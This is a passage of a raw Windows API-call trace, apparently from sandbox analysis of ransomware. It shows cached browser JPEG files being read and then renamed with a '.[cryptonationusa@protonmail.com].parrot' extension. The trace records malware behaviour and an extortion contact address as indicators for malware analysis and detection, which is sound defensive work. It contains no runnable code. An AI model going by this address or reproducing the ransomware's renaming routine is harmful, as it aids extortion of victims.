HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.567] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.742] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.742] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x19cf, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x19cf, lpOverlapped=0x0) returned 1 [0081.743] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.743] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.744] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.744] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyfeh[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.748] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.750] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.750] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2ca1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2ca1, lpOverlapped=0x0) returned 1 [0081.750] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.751] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.751] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZ20W[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbz20w[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.754] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.754] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.755] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.755] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1f37, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1f37, lpOverlapped=0x0) returned 1 [0081.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.757] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBzaxY[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzaxy[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.760] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.760] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.761] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.761] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2131, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2131, lpOverlapped=0x0) returned 1 [0081.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.762] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.762] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.763] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.765] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.765] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.767] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.767] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x370a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x370a, lpOverlapped=0x0) returned 1 [0081.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.768] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.768] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.768] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.771] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.771] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.772] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.772] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x22a0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x22a0, lpOverlapped=0x0) returned 1 [0081.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.773] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.774] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc04o2[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.777] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.777] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.778] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.778] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2036, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2036, lpOverlapped=0x0) returned 1 [0081.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.779] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.779] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC06ZQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc06zq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.782] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.833] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.833] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13fd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x13fd, lpOverlapped=0x0) returned 1 [0081.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.834] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.835] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0ALC[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0alc[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.840] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.840] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.841] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.842] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x884, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x884, lpOverlapped=0x0) returned 1 [0081.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.842] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.842] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0BiZ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0biz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.845] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.845] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.846] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.847] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x34d8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x34d8, lpOverlapped=0x0) returned 1 [0081.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.850] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.850] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.850] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.853] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.853] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.855] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.855] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2fd1, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2fd1, lpOverlapped=0x0) returned 1 [0081.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.856] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.857] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0FXU[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0fxu[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.859] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.859] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.861] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.861] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29c3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x29c3, lpOverlapped=0x0) returned 1 [0081.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.862] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.862] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.862] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0mkg[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0mkg[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.865] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.865] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.867] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.867] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa7b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | 